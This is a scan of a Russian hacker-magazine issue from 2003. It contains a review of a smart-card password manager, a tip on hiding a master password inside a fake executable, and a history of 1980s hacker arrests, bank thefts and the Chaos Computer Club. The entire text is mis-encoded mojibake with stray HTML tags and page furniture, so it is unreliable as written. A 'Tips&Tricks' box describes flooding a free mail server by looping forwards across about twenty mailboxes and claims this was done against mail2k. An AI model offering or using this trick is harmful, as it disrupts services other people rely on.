êàê ëó÷øèå, è íåëüçÿ ñêàçàòü, ÷òî êàêèå-òî òðè èç<br />
íèõ - ïîëíûé îòñòîé, à ÷åòâåðòàÿ - ãîëóáàÿ ìå÷òà. Âñå<br />
îíè ïðåêðàñíî ñïðàâëÿþòñÿ ñ ïîñòàâëåííîé çàäà÷åé, íî<br />
èìåþò ðàçíûé èíòåðôåéñ, íàñòðîéêè è äîïîëíèòåëüíûå<br />
âîçìîæíîñòè. Ïîùóïàé ñîáñòâåííîðó÷íî êàæäóþ, ÷òîáû<br />
îïðåäåëèòüñÿ ñ âûáîðîì.<br />
Ìåíåäæåðû ïàðîëåé, êîíå÷íî, ðåøàþò ïðîáëåìó ñêëåðîçà.<br />
Òåáå îñòàåòñÿ âûçóáðèòü îäèí ïàðîëü, ò.ê. îñòàëüíûå<br />
õðàíÿòñÿ â çàøèôðîâàííîé áàçå. Íî áàçà îñòàåòñÿ ôèçè-<br />
÷åñêè äîñòóïíà, òàê êàê âàëÿåòñÿ íà òâîåì âèíòå, à ñëåäîâàòåëüíî,<br />
îíà óÿçâèìà. Òû æå íå çíàåøü, íàñêîëüêî êà÷åñòâåííî<br />
ïðîãðàììà çàùèùàåò ñâîþ áàçó, è íåò ëè äûðîê<br />
â çàùèòå. À äûðêè åñòü âñåãäà :). Ýòà ïðîáëåìà îòïàäàåò<br />
ïðè èñïîëüçîâàíèè ïðîãðàììíî-àïïàðàòíîãî êîìïëåêñà<br />
Ìàñòåð Ïàðîëåé, ðàçðàáîòàííîãî îòå÷åñòâåííîé êîìïàíèåé<br />
ÐÓÑÊÀÐÄ (www.ruscard.org).<br />
<br />
Ñìûñë çàùèòû Ìàñòåðà Ïàðîëåé çàêëþ÷àåòñÿ â òîì, ÷òî<br />
âñå äàííûå äëÿ ïðîâåäåíèÿ àâòîðèçàöèè õðàíÿòñÿ íà<br />
ñìàðò-êàðòå è ïðè íåîáõîäèìîñòè ââîäÿòñÿ â êîìïüþòåð<br />
ïîñðåäñòâîì ðèäåðà (óñòðîéñòâî äëÿ ÷òåíèÿ/çàïèñè<br />
ñìàðò-êàðò). Ñîçäàâàòü, èñïîëüçîâàòü è ðåäàêòèðîâàòü<br />
ó÷åòíûå çàïèñè (ñâÿçêè ëîãèí-ïàðîëü) ïîçâîëÿåò ïðîãðàììà<br />
Ìåíåäæåð Ïàðîëåé, êîòîðàÿ âõîäèò â ñîñòàâ ïðèëàãàåìîãî<br />
ÏÎ. Âàðèàíòîâ ïîäêëþ÷åíèÿ ðèäåðà íåñêîëüêî:<br />
USB, ISA, PCI, PS/2 è COM.<br />
Íî âñå ðàâíî îñòàåòñÿ ïðîáëåìà, ãäå ñïðÿòàòü ãëàâíûé<br />
ïàðîëü äîñòóïà îò ìåíåäæåðà ïàðîëåé. Ïðåäëîæó òåáå<br />
îäèí äèâíûé ñïîñîá. Â ïàïêå C:\Windows ñîçäàåøü<br />
ôàéë ñ ïðîèçâîëüíûì èìåíåì (íàïðèìåð,<br />
abcplayer.exe) è ïîñòèøü â íåãî ïðèëè÷íûé êóñîê êîäà<br />
èç ëþáîãî exe-ôàéëà. Çàòåì ãäå-íèáóäü â ñåðåäèíå<br />
ïîëó÷åííîãî ôàëüø-êîäà çàïèñûâàåøü ñâîé ïàðîëü.<br />
Ïîïðîáóé íàéäè :). Òåì áîëåå, ÷òî ìåñòî íà äèñêå, èìÿ<br />
è ðàçðåøåíèå ôàéëà ìîãóò áûòü ñîâåðøåííî ëþáûìè.<br />
Íî íå çàáûâàé äåëàòü ðåçåðâíóþ êîïèþ ýòîãî ôàéëà íà<br />
äèñêåòó èëè ëþáîé äðóãîé íîñèòåëü, ÷òîáû èçáåæàòü<br />
òðàãè÷åñêîé ïîòåðè, åñëè îòêèíåò êîïûòà òâîé âèíò :).<br />
<br />
Îñíîâíîé êîíêóðåíò ñìàðò-êàðò - òàê íàçûâàåìûå ýëåêòðîííûå<br />
êëþ÷è (USB-êëþ÷è). Íî îíè èìåþò ìíîãî ìèíóñîâ.<br />
Âî-ïåðâûõ, îíè íå òàê íàäåæíû, ïîòîìó ÷òî ìåíåå<br />
óñòîé÷èâû ê âíåøíèì âîçäåéñòâèÿì: âëàæíîñòü, äàâëåíèå,<br />
èçãèá, ñòàòè÷åñêîå ýëåêòðè÷åñòâî è ò.ä. Êîëè÷åñòâî<br />
öèêëîâ âñòàâêè-èçâëå÷åíèÿ äëÿ êàðòû - ïîðÿäêà îäíîãî<br />
ìèëëèîíà, äëÿ USB-êëþ÷åé â ñèëó èõ êîíñòðóêöèè ñóùåñòâåííî<br />
íèæå. À âî-âòîðûõ, ïðè âûõîäå íîâûõ âåðñèé<br />
ïðîãðàìì ïîòðåáóåòñÿ çàìåíà ýëåêòðîííûõ êëþ÷åé, ÷òî<br />
äåëàåò èõ ïðèìåíåíèå äîñòàòî÷íî îãðàíè÷åííûì. Êðîìå<br />
òîãî, ïîêà îòñóòñòâóþò óíèâåðñàëüíûå ðåøåíèÿ êëþ÷åé,<br />
êîòîðûå áû ðàáîòàëè ñî âñåìè ïîïóëÿðíûìè ïðîãðàììàìè.<br />
ß óæå íå ãîâîðþ î òîì, ÷òî êàðòû ïðîùå õðàíèòü è<br />
ïåðåíîñèòü â îòëè÷èå îò USB-ïîãðåìóøåê :). Äà è íàìíîãî<br />
ïðîùå âñòàâèòü êàðòó â ðèäåð, ÷åì êîðÿ÷èòüñÿ êàæäûé<br />
ðàç, ïîäêëþ÷àÿ USB-êëþ÷ ê êîìïüþòåðó.<br />
<br />
Óñòàíîâêà Ìàñòåðà Ïàðîëåé íà êîìïüþòåð íå äîëæíà<br />
âûçâàòü ñëîæíîñòåé è çàíèìàåò ñ÷èòàííûå ìèíóòû. Ïîñëå<br />
ýòîãî ïîäêëþ÷àåì ðèäåð è ñòàâèì åãî äðàéâåðà. Åñëè<br />
ïðîäåëàòü âñå áåç ôîêóñîâ, òî ïðè çàãðóçêå êîìïà ðèäåð<br />
òåáå âåñåëî ïîäìèãíåò.<br />
ÈÑÏÎËÜÇÎÂÀÍÈÅ<br />
Ñðàçó ïîñëå óñòàíîâêè ìîæåøü êèäàòüñÿ â áîé: âñòàâü<br />
ñìàðò-êàðòó â ðèäåð è àêòèâèçèðóé Ìåíåäæåð Ïàðîëåé.<br />
Ïðîãðàììà èç ðàçðÿäà ïðîùå íå áûâàåò: ÷åòûðå ïóíêòà<br />
ìåíþ (ñîçäàòü, ðåäàêòèðîâàòü, óäàëèòü è çàïèñàòü) è îäíî<br />
êîíòåêñòíîå ìåíþ,<br />
êîòîðîå âñïëûâàåò<br />
ïðè íàæàòèè<br />
ïðàâîé êíîïêè ìûøè.<br />
Îñòàëüíîå äåëî<br />
òåõíèêè.<br />
Ïðèäóìûâàòü ïàðîëü<br />
ñîâñåì íå îáÿçàòåëüíî<br />
- äëÿ ýòîãî<br />
èñïîëüçóåòñÿ ãåíåðàòîð,<br />
êîòîðûé ñîçäàåò<br />
ñëó÷àéíûé ïàðîëü<br />
äëèíîé äî 100<br />
ñèìâîëîâ. Íà îäíó êàðòî÷êó åìêîñòüþ 2 Êá âëåçàåò â<br />
ñðåäíåì îêîëî 50 ïàðîëåé (êîëè÷åñòâî çàâèñèò îò äëèíû<br />
ïàðîëåé).<br />
Äëÿ óñêîðåíèÿ ñîçäàíèÿ ó÷åòíûõ çàïèñåé â ïðîãðàììå<br />
ïðåäóñìîòðåí ðÿä øàáëîíîâ:<br />
- âõîä â ÎÑ Windows 98/ME/NT/2000/XP<br />
- âõîä â ñåòü Microsoft Windows è Nowell<br />
- óäàëåííûé äîñòóï (DialUp)<br />
- ðàáîòà ñ àðõèâàòîðàìè RAR è ZIP<br />
- ðàáîòà ñ ïðèëîæåíèÿìè MS Office (97/2000/XP) - MS<br />
Word, MS Excel, MS Access<br />
- ðàáîòà ñ ïî÷òîâûìè ïðîãðàììàìè MS Outlook, MS<br />
Outlook Express, The Bat<br />
- äîñòóï ê çàêðûòûì ñàéòàì â Internet Explorer è Netscape<br />
Navigator<br />
- ðàáîòà ñ ïðîãðàììàìè ñåìåéñòâà 1Ñ<br />
- ðàáîòà ñ ïðîãðàììàìè øèôðîâàíèÿ PGP, Best Crypt,<br />
Cryptomania<br />
- äîñòóï ê ïîïóëÿðíûì ïî÷òîâûì ñàéòàì - Mail.ru,<br />
Rambler.ru, Yahoo.com, Hotbox.com, Chat.ru è ò.ä.<br />
Äëÿ ïðèëîæåíèé, êîòîðûõ íåò â ýòîì ñïèñêå, èñïîëüçóé<br />
óíèâåðñàëüíóþ çàïèñü. Åñëè â øàáëîíå òû óêàçûâàåøü<br />
òîëüêî ëîãèí è ïàðîëü, òî äëÿ óíèâåðñàëüíîé çàïèñè íóæíî<br />
îïðåäåëèòü öåëåâîå îêíî è óêàçàòü ýëåìåíòû ââîäà.<br />
Ïðèíöèï àêòèâàöèè ïðîñò: ïðè çàïðîñå ïàðîëÿ â ïðèëîæåíèè,<br />
äëÿ êîòîðîãî óæå ñäåëàíà ó÷åòíàÿ çàïèñü, äîñòàòî÷íî<br />
âñòàâèòü êàðòó â ðèäåð èëè íàæàòü êîìáèíàöèþ Alt+Win+A,<br />
åñëè êàðòà óæå â ðèäåðå. Ïðè ýòîì ëîãèí è ïàðîëü áóäóò<br />
àâòîìàòè÷åñêè ñ÷èòàíû. È ýòî íå âñå. Ëþáàÿ ó÷åòíàÿ çàïèñü<br />
èëè âñÿ êàðòà ïðè æåëàíèè çàêðûâàåòñÿ îòäåëüíûì<br />
ïàðîëåì - PIN-êîäîì. Åñëè îí óñòàíîâëåí, òî îäíîé êàðòû<br />
äëÿ èäåíòèôèêàöèè ìàëî, îáÿçàòåëüíî íóæåí ñàì PIN-êîä.<br />
À äëÿ òîãî, ÷òîáû óìíèêè íå ñìîãëè ïîäîáðàòü PIN-êîä ïåðåáîðîì,<br />
ñòîèò âðåìåííàÿ çàùèòà â 2-3 ñåêóíäû.<br />
<br />
Òàêèì îáðàçîì, ïðîãðàììà ïîçâîëÿåò óáðàòü ïàðîëè ñ<br />
æåñòêîãî äèñêà è íå ââîäèòü èõ ñ êëàâèàòóðû. Äëÿ îäíîãî<br />
ïðèëîæåíèÿ ìîæíî çàâåñòè íåñêîëüêî âàðèàíòîâ ïàðîëåé<br />
ëþáîé ñëîæíîñòè (äî 100 ñèìâîëîâ). È, íàêîíåö, îáåñïå-<br />
÷èâàåòñÿ äâîéíàÿ àâòîðèçàöèÿ ïðè ïîìîùè ó÷åòíîé çàïèñè<br />
è PIN-êîäà, ïîäáîð êîòîðîãî èñêëþ÷àåò âðåìåííàÿ çàäåðæêà.<br />
Ãëàâíîå - íå çàáûòü ïàðîëü ñàìîìó ;). Ê òîìó æå,<br />
îáíîâëåíèå ñîôòà áåñïëàòíî âûêëàäûâàåòñÿ íà ñàéòå<br />
ïðîèçâîäèòåëÿ (www.ruscard.org/soft.htm).<br />
Ïðîñòî ñêàçêà, êîòîðàÿ ñòîèò 60 çåëåíûõ :).<br />
Tips&Tricks<br />
Ýòî ñòàðîå çàïàäëî, íî íå âñå<br />
åãî çíàþò:<br />
Ðåãåäèøü ÿùèêîâ äâàäöàòü íà<br />
õàëÿâíîé ïî÷òå, çàòåì íàñòðàèâàåøü<br />
èõ òàêèì îáðàçîì,<br />
÷òîáû ñ ïåðâîãî âñå ïåðåñûëàëîñü<br />
íà âòîðîé, ñî âòîðîãî<br />
íà òðåòèé..., ñ òðèñòà âîñåìüäåñÿò<br />
ïÿòîãî íà ïåðâûé. Îòïðàâëÿåøü<br />
íà ïåðâûé ÿùèê 2kb<br />
ïèñüìî, è åñëè ñåðâåð íå<br />
î÷åíü ñèëüíûé, òî îí óéäåò â<br />
ëàã! Áûëî ïðîâåðåíî íà<br />
mail2k, ïîñëå ÷åãî îòòóäà è óáðàëè<br />
ïåðåñûëêó!<br />
=Vit_malNl=<br />
vit_man@mo3gov.net<br />
40 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
PC_Zone<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÕÀÊÅÐÛ È ÔÁÐ<br />
mindw0rk<br />
ÑÀÌ ÑÅÁÅ<br />
<br />
ÈÌÈÒÀÒÎÐ<br />
ÕÀÊÅÐÛ<br />
È<br />
ÍÀ×ÀËÎ ÏÐÎÒÈÂÎÑÒÎßÍÈß<br />
Ïîäïèñûâàÿ çíàìåíèòûé Abuse Act, Ñåíàò ÑØÀ ðàññ÷èòûâàë ñíèçèòü êîëè÷åñòâî êîìïüþòåðíûõ âçëîìîâ â ñòðàíå. Íî, âîïðåêè âñåì îæèäàíèÿì,<br />
õàêåðû íå òîëüêî íå çàòèõëè, íî îòâåòèëè åùå áîëåå ÷àñòûìè ïðîíèêíîâåíèÿìè â ÷óæèå êîìïüþòåðû.  ÔÁÐ ðåãóëÿðíî îáðàùàëèñü<br />
àäìèíèñòðàòîðû ïðàâèòåëüñòâåííûõ è íàó÷íûõ êîìïüþòåðíûõ ñèñòåì ñ ïðîñüáîé ïîìî÷ü çàäåðæàòü âçëîìùèêîâ. Àìåðèêàíñêîå ïðàâèòåëüñòâî<br />
ñòîëêíóëîñü ñ ïðîáëåìîé, êîòîðîé ðàíüøå íå ïðèäàâàëî áîëüøîãî çíà÷åíèÿ. Õîòÿ àáñîëþòíîå áîëüøèíñòâî õàêåðîâ íå ïûòàëèñü<br />
ïðè÷èíèòü êîìïüþòåðíûì ñèñòåìàì âðåäà, ñåêðåòíûå äàííûå íà òî è áûëè ñåêðåòíûìè, ÷òîáû äåðæàòü èõ ïîäàëüøå îò ëþáîïûòíûõ<br />
ãëàç. È Áîëüøîé Áðàò íàíåñ ñâîèì ïðîòèâíèêàì îòâåòíûé óäàð, â ðåçóëüòàòå êîòîðîãî ïî ñòðàíå ïðîêàòèëàñü ïåðâàÿ âîëíà àðåñòîâ.<br />
<br />
ÔÁÐ<br />
Captain Hacker, Doctor Bob, LaserTech, Adventurer,<br />
Highwayman, Punisher è Warden - ýòè ñåìü ôðèêåðîâ â<br />
âîçðàñòå îò 15 äî 19 ëåò áûëè àðåñòîâàíû 5 ìàðòà<br />
1986 ã. Âñå îíè ïîïàëèñü íà óäî÷êó, êîòîðóþ äëÿ íèõ<br />
ïðèãîòîâèëè ïðàâîîõðàíèòåëüíûå îðãàíû.<br />
Íà÷àëîñü âñå ñ íîâîé BBS, ñèñîï êîòîðîé - The<br />
Revenger - ðàäóøíî ïðèâåòñòâóåò ïîñåòèòåëåé è ïîñòîÿííî<br />
âûñêàçûâàåòñÿ â òîì ñìûñëå, ÷òî åãî Phoenix<br />
Fortress - ñàìàÿ ñâåæàÿ è ñàìàÿ ëó÷øàÿ ôðèêåðñêàÿ áîðäà,<br />
è ÷òî íå ïîó÷àñòâîâàòü â äèñêóññèÿõ íà íåé - âñå<br />
ðàâíî, ÷òî ëó÷øèå äíè æèçíè ïðîñïàòü. Ðàçâåðíóâ øèðîêóþ<br />
ðåêëàìíóþ êîìïàíèþ íà äðóãèõ àíäåãðàóíäîâûõ<br />
áèáèýñêàõ, Revenger’ó óäàåòñÿ ïåðåìàíèòü ê ñåáå ìíîãî<br />
õàêåðîâ è ôðèêåðîâ âñåõ ìàñòåé. Åãî áîðäà áûñòðî ñòàíîâèòñÿ<br />
îäíîé èç ñàìûõ ïîïóëÿðíûõ è… ëîâóøêà çàõëîïûâàåòñÿ!<br />
Revenger îêàçûâàåòñÿ âîâñå íå 20-ëåòíèì ñòóäåíòîì,<br />
à ñåðæàíòîì Äàíèýëåì Ïàñêóëå, íà êîìïüþòåðå<br />
êîòîðîãî (â ïîëèöåéñêîì ó÷àñòêå!) Phoenix Fortress âñå<br />
ýòî âðåìÿ è ðàáîòàëà. Íó, à ïîñêîëüêó Ïàñêóëå è åãî<br />
êîëëåãè òùàòåëüíî ñëåäèëè çà ðàçâèòèåì ñîáûòèé íà<br />
ôîðóìå, â ðóêàõ ïðàâîñóäèÿ ìèãîì îêàçûâàþòñÿ ñàìûå<br />
áîëòëèâûå ïîñåòèòåëè èõ BBS’êè. Ïðè÷åì, ïîìèìî ñåìè<br />
ïàïîê íà çàäåðæàííûõ ôðèêåðîâ, ó ïîëèöèè ïîÿâëÿåòñÿ<br />
äîñòàòî÷íî îáúåìíûé (îêîëî 150 ÷åëîâåê) ñïèñîê õàêåðîâ<br />
ñ ïîëåçíûìè ñâåäåíèÿìè î êàæäîì èç íèõ.<br />
 òîì æå ãîäó ïîëèöèÿ àðåñòîâûâàåò èçâåñòíîãî àìåðèêàíñêîãî<br />
õàêåðà Disk Jockey. Åìó ïðåäúÿâëÿþò îáâèíåíèÿ<br />
ïî 22 ïóíêòàì, è â èòîãå âñå çàêàí÷èâàåòñÿ òþðüìîé.<br />
Òåíü ïîäîçðåíèÿ â ïðè÷àñòíîñòè ê àðåñòó ïàäàåò íà<br />
äðóãîãî õàêåðà - White Lightning. Ãîâîðÿò, ÷òî ÿêîáû ïîññîðèâøèñü<br />
ñî ñâîèì ïðèÿòåëåì, îí íàñòó÷àë íà íåãî<br />
òåõïåðñîíàëó ñåòè Sprint (DJ ÷àñòî íåçàêîííî ïîëüçîâàëñÿ<br />
èõ óñëóãàìè). Íî êàê òîëüêî ýòà âåñòü ðàçëåòåëàñü ïî<br />
àíäåãðàóíäó, WL òóò æå ïîçâîíèë ðåäàêòîðó æóðíàëà<br />
Phrack è ïîïûòàëñÿ îïðîâåðãíóòü ñëóõè. Ïðàâäà, ïðèâåñòè<br />
âíÿòíûå äîâîäû â ñâîþ ïîëüçó îí íå ñìîã, òàê êàê<br />
Ïîñòåð îäíîãî èç ñàìûõ èçâåñòíûõ ôèëüìîâ<br />
î êîìïüþòåðíîì àíäåãðàóíäå<br />
èñòî÷íèêîì ñëóõîâ ñòàëà èíôîðìàöèÿ îò îäíîãî èç ôðèêåðîâ,<br />
èìåâøåãî ñâÿçè â ïîëèöåéñêèõ êðóãàõ.<br />
Êñòàòè, ïðîáëåìà ñòóêà÷åñòâà â êîíöå 80-õ áûëà îñîáåííî<br />
àêòóàëüíîé. Â òå äíè ôåäåðàëû óãðîçàìè è øàíòàæîì<br />
çàñòàâëÿëè õàêåðîâ, åùå íåäàâíî áûâøèõ äðóçüÿìè,<br />
ñâèäåòåëüñòâîâàòü äðóã ïðîòèâ äðóãà. È ÷òîáû èçáåæàòü<br />
ïðåñëåäîâàíèÿ âëàñòåé, íåêîòîðûå ñòàíîâèëèñü<br />
èíôîðìàòîðàìè, ðåãóëÿðíî ñîîáùàâøèìè "êóäà íàäî"<br />
îá àêòèâíîñòè êîëëåã.<br />
<br />
Îãðàáëåíèÿ áàíêà ÷åðåç êîìïüþòåð âñåãäà âûçûâàëè ó<br />
ïóáëèêè æèâîé èíòåðåñ è ùåäðî îñâåùàëèñü â ïðåññå.<br />
Íî â 80-õ òàêèå ñëó÷àè íà ñòðàíèöû ãàçåò ïîïàäàëè<br />
ðåäêî - êâàëèôèöèðîâàííûå õàêåðû íå õîòåëè ðèñêîâàòü,<br />
à ó ëþäåé, æåëàâøèõ áûñòðî îáîãàòèòüñÿ, ïîïðîñòó<br />
íå áûëî íóæíûõ çíàíèé. Ê òîìó æå, äàæå åñëè<br />
êðàæà èìåëà ìåñòî, ïî âïîëíå ïîíÿòíûì ïðè÷èíàì<br />
áîëüøèíñòâî áàíêîâ ïðåäïî÷èòàëî îá ýòîì íå ðàñïðîñòðàíÿòüñÿ.<br />
Òåì íå ìåíåå, êîå-êàêàÿ èíôîðìàöèÿ èíîãäà<br />
ïðîñà÷èâàëàñü íàðóæó.<br />
Îñåíüþ 1988 ã. Àðìàíä Ìóð ñ äâóìÿ ïîìîùíèêàìè ïðîíèê<br />
â êîìïüþòåðíóþ ñèñòåìó Íàöèîíàëüíîãî áàíêà ×èêàãî<br />
è ïîïûòàëñÿ ïåðåâåñòè íà ñâîé ñ÷åò â Øâåéöàðèè<br />
69 ìèëëèîíîâ äîëëàðîâ. Ìóð îòíîñèëñÿ ê òîìó òèïó ëþäåé,<br />
êîòîðûå ñïîñîáíû çèìîé ïðîäàòü òîííó ñíåãà æèòåëþ<br />
Êðàéíåãî Ñåâåðà, ïîýòîìó åìó íå ñîñòàâèëî òðóäà<br />
óáåäèòü äâóõ ìîëîäûõ êëåðêîâ íàæàòü íà áàíêîâñêèõ<br />
êîìïüþòåðàõ íóæíûå êíîïêè, ÷òîáû îòêðûòü åìó âõîä â<br />
ñèñòåìó. Íåñìîòðÿ íà òî, ÷òî äåíüãè áûëè óñïåøíî ïåðåâåäåíû,<br />
äàëåêî âçëîìùèêó óéòè íå óäàëîñü - âñêîðå<br />
42 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
çäàíèå National Westminster Bank<br />
îí áûë íàéäåí è ïðèãîâîðåí ê 10 ãîäàì òþðåìíîãî çàêëþ÷åíèÿ.<br />
Âñå 69 ìèëëèîíîâ âåðíóëèñü â áàíê.<br />
Äëÿ 17-ëåòíåãî õàêåðà Cryo ïðîíèêíóòü âî âíóòðåííþþ<br />
ñåòü National Westminster Bank íå ñîñòàâèëî áîëüøèõ<br />
ïðîáëåì - áàíê, êàçàëîñü, ñîâåðøåííî íå áåñïîêîèëñÿ î<br />
áåçîïàñíîñòè ñâîèõ êîìïüþòåðíûõ ñèñòåì. Èçó÷èâ çà<br />
íåñêîëüêî äíåé òåõíîëîãèþ äåíåæíûõ îïåðàöèé, Cryo íàøåë<br />
â íåé èçúÿí è ïðèíÿëñÿ îòêëàäûâàòü íà ñâîé ñ÷åò<br />
äåíüãè. Ñíà÷àëà ìåëêèìè ïàðòèÿìè, ïîòîì òûñÿ÷àìè.<br />
Ïîä êîíåö îñìåëåâøèé ïàðåíü ïåðåâåë ñåáå ïî÷òè ïîëòîðà<br />
ìèëëèîíà äîëëàðîâ çà ðàç. Òåõïåðñîíàë áàíêà ñðàçó<br />
çàìåòèë ñòîëü êðóïíûé ïåðåâîä íåïîíÿòíî îòêóäà è íåèçâåñòíî<br />
êóäà, ñ÷åò ïðèêðûëè. Õàêåð óñïåë ñíÿòü ñ íåãî<br />
ëèøü ïàðó òûñÿ÷ áàêñîâ (íà êîòîðûå êóïèë 50 áóòûëîê<br />
øàìïàíñêîãî - îòïðàçäíîâàòü ñ äðóçüÿìè âûãîäíîå äåëüöå).<br />
Óâèäåâ, ÷òî ñ÷åò çàáëîêèðîâàí, à âñå ïàðîëè èçìåíåíû,<br />
Cryo îñòàâèë ïîïûòêè ïîâòîðíî âçëîìàòü ñèñòåìó<br />
çàùèòû. Áëàãîäàðÿ ýòîìó, à òàêæå ãðàìîòíîìó âçëîìó,<br />
ïîéìàòü õàêåðà íå óäàëîñü.<br />
<br />
YTcracker, îäèí èç õàêåðîâ, ïðîíèêøèõ<br />
â ñåòü NASA<br />
Ê ñåðåäèíå 80-õ ãîäîâ âíóòðè êîìïüþòåðíîãî àíäåãðàóíäà<br />
ñóùåñòâîâàëè óæå äåñÿòêè ãðóïï èç ñàìûõ ðàçíûõ<br />
ãîðîäîâ è ñòðàí. Íî òîëüêî åäèíèöû îáðåëè ìèðîâóþ<br />
ñëàâó. Â ÑØÀ íàèáîëåå èçâåñòíîé õàêåðñêîé<br />
ãðóïïîé áûëà Legion of Doom. Â Ãåðìàíèè - êîìïüþòåðíûé<br />
êëóá "Chaos".<br />
Îòöîì-îñíîâàòåëåì ýòîãî êëóáà áûë Âó Õîëëàíä - 32-<br />
ëåòíèé ïðîãðàììåð èç Ãàìáóðãà, ÿðûé áîðåö çà ñâîáîäíûé<br />
äîñòóï ê ëþáîé èíôîðìàöèè. Â 1994 ã. "Õàîñ" ñîñòîÿë<br />
âñåãî èç äâóõ ÷åëîâåê - ñàìîãî Âó è åãî ïðèÿòåëÿ<br />
Ñòåôåíà Âýðíåðè. Íî ïîñëå ñåðèè óñïåøíûõ âçëîìîâ<br />
ïîä ëåéáëîì êëóáà è îñâåùåíèÿ èíöèäåíòîâ â ïðåññå,<br />
èíòåðåñ ê íåìó ñòàë ðàñòè. "Õàîñ" áûë ïðîïèòàí äóõîì<br />
õàêåðñêîé ýòèêè. Âñå âñòóïàþùèå â êëóá ëþäè îáÿçûâàëèñü<br />
ñëåäîâàòü ïóòè çíàíèé, îòâåðãàÿ âàíäàëèçì â ëþáîé<br />
ôîðìå.  îðãàíèçàöèè ñóùåñòâîâàëà èåðàðõè÷åñêàÿ<br />
ñèñòåìà, è íóæíî áûëî î÷åíü õîðîøî ñåáÿ çàðåêîìåíäîâàòü,<br />
÷òîáû ïðîäâèíóòüñÿ íà ñàìûé âåðõ.<br />
Òàê êàê Âó Õîëëàíä ñòàðàëñÿ íå îãðàíè÷èâàòü ïðèòîê íîâûõ<br />
ìåìáåðîâ è êàæäîìó äàâàë øàíñ ñòàòü õàêåðîì, êëóá<br />
"Õàîñ" ê 1987 ãîäó ñòàë, ñóäÿ ïî âñåìó, ñàìîé êðóïíîé â<br />
ìèðå õàêåðñêîé îðãàíèçàöèåé. Êàæäûé ãîä â õîëëå êàêîéíèáóäü<br />
ãîñòèíèöû ïðîõîäèë Chaos Communication<br />
Congress - êîíôåðåíöèÿ, íà êîòîðóþ ñúåçæàëèñü ñîòíè<br />
ëþäåé, ÷òîáû îáìåíÿòüñÿ ñâåæåé èíôîé è ïîñîðåâíîâàòüñÿ<br />
â ðèàëòàéìîâîì øòóðìå êîìïüþòåðíûõ ñèñòåì.<br />
Îñåíüþ 1987 ã. õàêåðû êëóáà "Õàîñ" îñóùåñòâèëè ñâîé<br />
ñàìûé ãðîìêèé è èçâåñòíûé âçëîì.<br />
×òîáû íàãëÿäíî ïðîäåìîíñòðèðîâàòü ñëàáîñòü ñèñòåì çàùèòû<br />
ïðàâèòåëüñòâåííûõ êîìïüþòåðîâ, ðåáÿòà ïðîíèêëè íà<br />
ìàøèíû NASA, ñîåäèíåííûå â êðóïíóþ íàó÷íóþ ñåòü SPAN<br />
(Space Physics Analysis Network). Òîãäà ê ñåðâåðó NASA áûëè<br />
ïîäêëþ÷åíû áîëåå ïîëóòîðà òûñÿ÷ êîìïüþòåðîâ âî âñåì<br />
ìèðå, è âñå îíè îêàçàëèñü â ðóêàõ âçëîìùèêîâ. Õàêåðû<br />
ïîëíîñòüþ çàõâàòèëè êîíòðîëü íàä ñèñòåìîé. Îíè ìîãëè<br />
ñâîáîäíî ìàíèïóëèðîâàòü ëþáûìè áàçàìè äàííûõ è ïîëüçîâàòåëüñêèìè<br />
ñ÷åòàìè, èìåëè äîñòóï êî âñåì ñåêðåòíûì<br />
ôàéëàì è ïðîåêòàì, áûëè ñïîñîáíû ïîëíîñòüþ óíè÷òîæèòü<br />
ìíîãîëåòíþþ ðàáîòó òûñÿ÷ ëþäåé. Íî ìåìáåðû "Õàîñà" îñòàëèñü<br />
âåðíû ñâîåé ýòèêå è íå ñòàëè ïðè÷èíÿòü âðåä. Íàïðîòèâ,<br />
îíè ïðåäóïðåäèëè NASA îá îáíàðóæåííûõ óÿçâèìîñòÿõ<br />
è ïîìîãëè èõ óñòðàíèòü. Â ñâÿçè ñ ýòèì ïðàâîîõðàíèòåëüíûå<br />
ñòðóêòóðû ðåøèëè íå ïðèâëåêàòü âçëîìùèêîâ ê îòâåòñòâåííîñòè<br />
çà î÷åâèäíîå íàðóøåíèå çàêîíà. Ýòî âûçâàëî<br />
áîëüøîé ðåçîíàíñ â íàðîäíûõ ìàññàõ, âïëîòü äî ïèêåòîâ,<br />
ïðèçûâàþùèõ ïîñàäèòü õàêåðîâ. Íà ýòîò ðàç èì ïîâåçëî,<br />
íî íåñêîëüêî ìåñÿöåâ ñïóñòÿ ñïåöñëóæáû àðåñòîâàëè<br />
÷åòâåðûõ ÷ëåíîâ êëóáà "Õàîñ" çà íåçàêîííîå âòîðæåíèå â<br />
êîììåð÷åñêèå êîìïüþòåðû.  èõ ÷èñëå îêàçàëñÿ Ñòåôåí<br />
Âýðíåðè - îäèí èç ñîçäàòåëåé êëóáà è îäèí èç ñàìûõ àâòîðèòåòíûõ<br />
õàêåðîâ â Ãåðìàíèè. Êàæäûé èç àðåñòîâàííûõ ïîëó÷èë<br />
íåáîëüøîé ñðîê.<br />
Commodore 64, ñàìûé ðàñïðîñòðàíåííûé<br />
«õàêåðñêèé» êîìïüþòåð<br />
<br />
Ïèâî. Îñîáîå :)<br />
24 ìàÿ 1989 ã. ïîäâåðãëèñü íàïàäåíèþ êîìïüþòåðíûå ñèñòåìû<br />
25 ðàçëè÷íûõ ôèíàíñîâûõ îðãàíèçàöèé, âêëþ÷àÿ the<br />
Michigan Department of Treasury. Ïî âñåìó áûëî âèäíî, ÷òî<br />
ïðîíèêíîâåíèå õîðîøî ñïëàíèðîâàíî è ïðîõîäèò èç ðàçíûõ<br />
ìåñò.  îòëè÷èå îò îáû÷íûõ ìîòèâîâ èññëåäîâàíèÿ,<br />
çäåñü âçëîìùèêè èìåëè ÷åòêóþ öåëü - íàæèòüñÿ çà ñ÷åò<br />
êîíòîð. Ïðîâîðíî ðàñêóðî÷èâ çàùèòó, õàêåðû ñîâìåñòíûìè<br />
óñèëèÿìè èçâëåêëè ñâåäåíèÿ î íåñêîëüêèõ òûñÿ÷àõ êðåäèòíûõ<br />
êàðò è, òóò æå âîñïîëüçîâàâøèñü èìè, ñäåëàëè çàêàçû<br />
íà âñåâîçìîæíûå òîâàðû. Êîãäà òåõïåðñîíàë îáíàðóæèë<br />
âòîðæåíèå è êðàæó êîíôèäåíöèàëüíîé èíôîðìàöèè - îíè<br />
òóò æå îáðàòèëèñü â ÔÁÐ. Íåñìîòðÿ íà òî, ÷òî âçëîìùèêè<br />
